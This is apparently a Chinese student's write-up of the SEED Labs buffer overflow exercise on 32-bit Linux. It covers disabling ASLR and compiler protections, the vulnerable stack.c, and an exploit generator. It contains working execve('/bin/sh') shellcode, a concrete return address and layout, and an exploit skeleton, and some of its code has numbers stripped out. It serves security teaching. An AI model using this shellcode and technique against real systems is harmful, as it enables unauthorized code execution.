缓冲区溢出实验(Linux 32位)

参考教程与材料:http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Buffer_Overflow/

(本文记录了做SEED缓冲区溢出实验的体会与问题,侧重实践,而不是讲解缓冲区溢出原理的详细教程)

1. 准备工作

使用SEED ubuntu虚拟机进行缓冲区溢出实验,首先要关闭一些针对此攻击的防御机制来简化实验。

(1)内存地址随机化(Address Space Randomization):基于Linux的操作系统一般使堆和栈的开始地址随机化,使得攻击者猜测确切的地址变得困难。使用如下指令关闭该功能。

$ su root
Password: (enter root password)
#sysctl -w kernel.randomize_va_space=0

(2)The StackGuard Protection Scheme:GCC编译器实现了一个被称为“Stack Guard”的安全机制来防御缓冲区溢出攻击。所以在编译漏洞程序时加上-fno-stack-protector参数来关闭该机制。

(3)Non-Executable Stack:Ubuntu曾经允许栈执行,但是现在程序必须声明栈是否允许执行。内核和链接器检查程序头的标志来判断是否允许栈被执行。GCC在模式情况下设置栈不可执行,所以需要在编译时加入-z execstack参数来允许栈执行。

2. ShellCode

教程提供了shellcode,是如下代码反汇编得到的机器码,功能就是打开一个shell,通过编译执行call_shellcode.c可以验证shellcode的正确性。使用gdb调试call_shellcode会发现buf的起始地址没有进行字节对其,但是并不影响shellcode的执行,该验证程序是将buf强制转换成了函数指针来执行,用法巧妙。其中shellcode还有一些需要解释的地方,如“//sh”是为了凑足4字节,并且“/”与“//”是一样的;为了给execve传递参数,需要字符串的地址,这里采用了push并传递esp的方法;cdq是一个简短的指令来使edx置零。注意在编译时加入令栈可执行的参数,指令如下所示:gcc -z execstack -o call_shellcode call_shellcode.c

#include <stdio.h>
int main( ) {
char*
name[];
name[] = ‘‘/bin/sh’’;
name[] = NULL;
execve(name[], name, NULL);
}
/* call_shellcode.c  */

/*A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h> const char code[] =
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
; int main(int argc, char **argv)
{
char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
}

3.漏洞程序stack.c

程序很简单,从文件中读入内容至str,传入仅有24字节大小的buffer时会溢出。编译时记得取消保护机制,加入ggdb为了使用gdb调试方便。gcc –ggdb -o stack -z execstack -fno-stack-protector stack.c

/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h> int bof(char *str)
{
char buffer[]; /* The following statement has a buffer overflow problem */
strcpy(buffer, str); return ;
} int main(int argc, char **argv)
{
char str[];
FILE *badfile; badfile = fopen("badfile", "r");
fread(str, sizeof(char), , badfile);
bof(str); printf("Returned Properly\n");
return ;
}

4.实验内容

GDB的使用参考:

http://blog.csdn.net/liigo/article/details/582231

http://blog.sina.com.cn/s/blog_605f5b4f0101ey1q.html

(1)攻击漏洞程序执行shellcode

使用gdb进入bof()之后,使用i frame可以查看当前程序栈的信息,如下所示。从中可以直接看出ebp和eip的保存位置,其中eip的返回位置即要精心覆盖的返回地址,将其指向我们构造的shellcode即可。

查看栈的内存与变量的位置,图中圈出的就是保存的eip值和变量位置。不过有个疑问没有解决,就是0xbffff010与0xbffff014这8个内存的作用不明。

执行memcpy后,可以看出内存变为如下图所示。

即从0xbfffeff8开始存入了shellcode,开始时考虑采用NSR模式,但是由于漏洞程序的缓冲区很小,刚好可以放下shellcode,所以直接使用了SR模式,其中返回地址R是0xbfffeff8。另外需要注意,拷贝shellcode时不要把字符串结尾的’\x00’也复制过去,否则漏洞程序会认为字符串就此截止,而不复制后面的内容。这么做会发现shellcode运行出错。经过仔细查看执行过程时的内存,发现shellcode会压栈一些内容,压入ebx时恰好会把shellcode最后的语句(位置0xbffffffc)覆盖!故考虑使用RNS模式,实验表明使用RNS模式更加简单,容错率也高。

修改exploit.c如下所示,成功!

(2)启动内存地址随机化

首先打开Linux的内存地址随机化功能,sysctl -w kernel.randomize_va_space=2,再次执行stack会段错误。gdb调试时会默认关闭内存地址随机化,需要进入gdb后首先输入set disable-randomization off来开启地址随机化,接下来进行调试。每次运行时会发现栈的地址随机变化,从而使得攻击者无法确定shellcode的地址。

(3)Stack Guard

首先关闭内存地址随机化以防止干扰,然后重新编译stack.c,此时不加入-fno-stack-protector参数即开启了该防护措施(新版本gcc)。再次执行stack会出现错误,从汇编可以看出,该机制是检测ebp-0xc这个位置存放的4字节是否被改变,该位置0xbfffeffc恰好就在局部变量与栈帧之间。再次编译stack程序,发现该检测值会发生改变,可见是随机生成的,难以预测。

(4)栈不可执行

使用gcc -o stack -fno-stack-protector -z noexecstack stack.c编译stack.c,调试运行会发现只要执行栈上的指令,进程会收到系统信号SIGSEGV,段错误。可以使用Return-to-Libc来绕过该防御机制。

/* exploit.c  */

/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
; void main(int argc, char **argv)
{
char buffer[];
FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, ); /* You need to fill the buffer with appropriate contents here */ /* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, , , badfile);
fclose(badfile);
}

高级缓冲区溢出技术可以参考:http://drops.wooyun.org/tips/6597

SEED缓冲区溢出实验笔记的更多相关文章

  1. SEED缓冲区溢出实验笔记——Return_to_libc

    参考:http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Return_to_libc/    http://drops.wooyun.org/ ...

  2. 2017-2018-2 20179215《网络攻防实践》seed缓冲区溢出实验

    seed缓冲区溢出实验 有漏洞的程序: /* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our tas ...

  3. Kali学习笔记33:Linux系统缓冲区溢出实验

    之前做过一个Windows应用SLmail的缓冲区溢出的实验 这次来做一个Linux平台的缓冲区溢出实验: 缓冲区溢出是什么? 学过汇编的应该知道,当缓冲区边界限制不严格时,由于变量传入畸形数据或程序 ...

  4. Kali学习笔记21:缓冲区溢出实验(漏洞发现)

    上一篇文章,我已经做好了缓冲区溢出实验的准备工作: https://www.cnblogs.com/xuyiqing/p/9835561.html 下面就是Kali虚拟机对缓冲区溢出的测试: 已经知道 ...

  5. 2018-2019-2 20165232《网络对抗技术》Exp1 缓冲区溢出实验

    2018-2019-2 20165232<网络对抗技术>Exp1 缓冲区溢出实验 实验点1:逆向及Bof基础实践 实践任务 用一个pwn1文件. 该程序正常执行流程是:main调用foo函 ...

  6. 2018-2019-2 20165225《网络对抗技术》Exp1 缓冲区溢出实验

    2018-2019-2 20165225<网络对抗技术>Exp1 缓冲区溢出实验 声明 虽然老师在邮箱中要求要把虚拟机名改为个人名字缩写,但是我的kali好像不是很听话...重启数次也没用 ...

  7. 使用Linux进行缓冲区溢出实验的配置记录

    在基础的软件安全实验中,缓冲区溢出是一个基础而又经典的问题.最基本的缓冲区溢出即通过合理的构造输入数据,使得输入数据量超过原始缓冲区的大小,从而覆盖数据输入缓冲区之外的数据,达到诸如修改函数返回地址等 ...

  8. 20191310Lee_yellow缓冲区溢出实验

    缓冲区溢出实验 1.什么是缓冲区溢出 ​ 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况.这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段.这一漏洞的出现是由于数据 ...

  9. Kali学习笔记20:缓冲区溢出实验环境准备

    在前几篇的博客中:我介绍了OpenVAS和Nessus这两个强大的自动化漏洞扫描器 但是,在计算机领域中有种叫做0day漏洞:没有公开只掌握在某些人手中 那么,这些0day漏洞是如何被发现的呢? 接下 ...

随机推荐

  1. Linux命令具体解释(2) – mv

    文件位置:      mv: /bin/mv /usr/share/man/man1/mv.1.gz 名称:      mv - move (rename) files 使用方法:      mv [ ...

  2. C#中的“静态”

    静态构造函数: C#的一个新特征是也能够给类编写无參数的静态构造函数. 编写静态构造函数的一个原因是,类有一些静态字段或属性,须要在第一次使用类之前.从外部源中初始化这些静态的字段和属性. .NET运 ...

  3. golang快速入门(练习)

    1.打包和工具链 1.1 包 所有 Go 语言的程序都会组织成若干组文件,每组文件被称为一个包. ? 1 2 3 4 5 6 7 8 9 10 net/http/     cgi/     cooki ...

  4. 学习鸟哥的Linux私房菜笔记(3)——基础使用

    一.设备文件 设备在Linux中以特殊文件的形式存在 块(block)设备文件 字符(character)设备文件 设备文件所在位置 查看设备类型 二.虚拟控制台及用户身份切换 在系统中有12个虚拟控 ...

  5. SpringBoot 打包成war包,部署到tomcat

    使用maven创建的springboot项目,默认是jar包,springboot还有自己带的tomcat.现在需要将项目打包,并部署到服务器tomcat下面. 1.修改pom.xml文件.将jar修 ...

  6. 【22.73%】【codeforces 606D】Lazy Student

    time limit per test2 seconds memory limit per test256 megabytes inputstandard input outputstandard o ...

  7. VS2017十五项新功能体验

    Visual Studio 2017十五项新功能体验 Visual Studio 2017正式已经于2017.3.7号正式发布,选在这一天发布也是为了纪念Visual Studio 二十周年.MVP ...

  8. Android能够获取到唯一的设备ID吗?

    Android是否有唯一的设备ID,如果有的话,该怎样快速有效获取? Settings.Secure#ANDROID_ID 返回Android ID ,是一个64位的16进制字符串 1 2 3 imp ...

  9. ASP.Net Core 2.2使用SQLite数据库unable to open database file

    原文:ASP.Net Core 2.2使用SQLite数据库unable to open database file 最近把项目更新到了ASP.Net Core 2.2,发布之后发现在IIS下使用SQ ...

  10. SQLyog 报错2058 :连接 mysql 8.0.12 解决方法

    今天闲来无事,下载新版的 mysql 8.0.12 安装. 为了方便安装查看,我下载了sqlyog 工具 连接 mysql 配置新连接报错:错误号码 2058,分析是 mysql 密码加密方法变了. ...